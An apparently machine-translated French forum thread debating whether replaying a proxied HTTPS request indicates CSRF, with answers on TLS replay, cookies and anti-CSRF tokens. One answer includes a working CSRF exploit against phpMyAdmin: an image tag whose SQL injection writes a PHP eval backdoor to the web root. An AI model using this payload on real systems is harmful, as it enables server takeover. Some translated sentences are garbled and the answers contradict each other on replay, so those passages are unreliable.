Supposons qu'un testeur de sécurité utilise un proxy, dit Fiddler, et enregistre une demande HTTPS à l'aide des informations d'identification de l'administrateur: lors de la réexécution de la demande complète (y compris les cookies de session et d'authentification), le testeur de sécurité est en mesure de (ré) enregistrer des transactions. L’affirmation est qu’il s’agit d’un signe de vulnérabilité CSRF.
Que devrait faire un utilisateur malveillant pour intercepter la requête HTTPS et la rejouer? Est-ce une tâche pour les script kiddies, des équipes de piratage militaires bien financées ou une technologie extraterrestre? Est-il vraiment si facile d’enregistrer les sessions SSL des utilisateurs et de les rejouer avant l’expiration des tickets?
Aucun code dans l'application ne fait actuellement rien d'intéressant sur HTTP GET. AFAIK, incitant ainsi l'administrateur à cliquer sur un lien ou à charger une image avec une URL illicite, n'est pas un problème.
HTTPS n'est pas rejouable, la première réponse du serveur dans la séquence de négociation comprend un nombre aléatoire choisi par le serveur.
Ce que fait Fiddler, c’est agir en tant que proxy, c’est-à-dire qu’il intercepte les requêtes de votre navigateur, puis génère une requête identique sur le serveur, ce qui signifie qu’il a accès au texte en clair, ce qu’il va rejouer. Votre navigateur vous le fait savoir en vous disant que le certificat provient de Fiddler - "DO_NOT_TRUST_FiddlerRoot", sur lequel vous devez accepter le message avant d’envoyer le message en ignorant la non-concordance du certificat.
Ce que vous décrivez n'est pas une vulnérabilité CSRF. HTTPS protège spécifiquement contre les attaques par rejeu du texte chiffré brut et empêche l'attaquant de connaître le contenu de la requête.
Il est important de noter que HTTPS not not ne se défend pas contre CSRF. Si l'attaquant sait ce que les variables GET/POST devraient être, il est alors en mesure de créer du code html malveillant qui, lorsqu'il sera exécuté par une cible, exécutera l'action souhaitée par l'attaquant. Si l'application Web n'est pas publique et que l'attaquant ne sait pas à quoi ressemble une requête HTTP, il ne peut pas la falsifier. Par exemple, voici un exploit CSRF i écrit contre phpMyAdmin. J'ai modifié cet exploit pour fonctionner avec https, et tout ce que j'avais à faire était de changer l'URL de http: // à https: //.
<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
Cet exploit utilise le fichier "into out" de mysql pour supprimer une porte dérobée. Il fonctionne sans script, car il falsifie une requête GET, et le navigateur considère qu’il est une image jusqu’à trop tard.
Voulez-vous dire impliquer simplement une relecture de SSL (ce qui n’a pas encore été publiquement démontré possible) ou des cookies d’authentification (spécifique à une application)? Le premier indiquerait une vulnérabilité obtuse et découverte de manière privée dans SSL (que vous ne pourrez probablement pas corriger, pourrais-je ajouter). Ce dernier, c’est-à-dire où une machine arbitraire peut fournir des cookies pour une session authentifiée précédemment établie, indique une vulnérabilité CSRF potentiellement exploitable dans votre application, à laquelle il convient de remédier.
Bien que le trafic SSL soit généralement considéré comme impossible à renifler via une attaque MTM (en supposant que vous ayez pris des mesures correctives contre la vulnérabilité révélée en novembre dernier), un cookie stocké sur l'ordinateur distant de l'utilisateur n'est pas à l'abri de l'interception (en particulier si il existe une vulnérabilité XSS sur votre site ou sur l'un des sites du même domaine que votre site). Ces exploits inter-domaines/à deux vulnérabilités sont de plus en plus courants et, du point de vue de la sécurité stricte, une vulnérabilité est potentiellement exploitable, même si elle ne se fait pas directement via votre application.
- edit: Remarque: je me trompe sur le fait que SSL ne gère pas les attaques par rejeu, comme indiqué ci-dessous. L'implémentation de l'approche par jeton reste bonne.
Envisagez de "rejouer" une demande HTTPS en revenant simplement dans le navigateur et en appuyant de nouveau sur le bouton.
C’est-à-dire qu’il n’est pas nécessaire de décoder quoi que ce soit pour soumettre à nouveau une demande SSL. Tout nœud sur le chemin peut le faire (ils ne peuvent tout simplement pas voir le trafic).
Donc, si je capture votre transaction SSL qui m'envoie 100 dollars, je peux la capturer et la renvoyer afin que je continue à recevoir de l'argent.
La solution évidente à cela (bien, la solution typique) consiste à générer un jeton sur la page HTML, puis à conserver la même valeur dans la session. Lorsqu'une requête arrive, vous vérifiez cette valeur, vérifiez qu'il s'agit bien de la valeur current , et si c'est le cas, traitez-la, puis modifiez la valeur actuelle .
Si ce n'est pas la valeur actuelle (c'est-à-dire l'ancienne valeur une fois que vous avez traité la demande "d'origine"), vous savez que la page a été soumise à nouveau.
Il s'agit d'une approche courante visant à empêcher la soumission en double des informations de carte de crédit, etc., mais elle présente également cet avantage en termes de sécurité: elle impose une demande unique pour faire correspondre chaque réponse. Un attaquant de la chaîne qui ne peut pas décrire SSL ne peut pas passer cela.
SSL V2 est complètement vulnérable, il ne doit pas être activé.
http://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet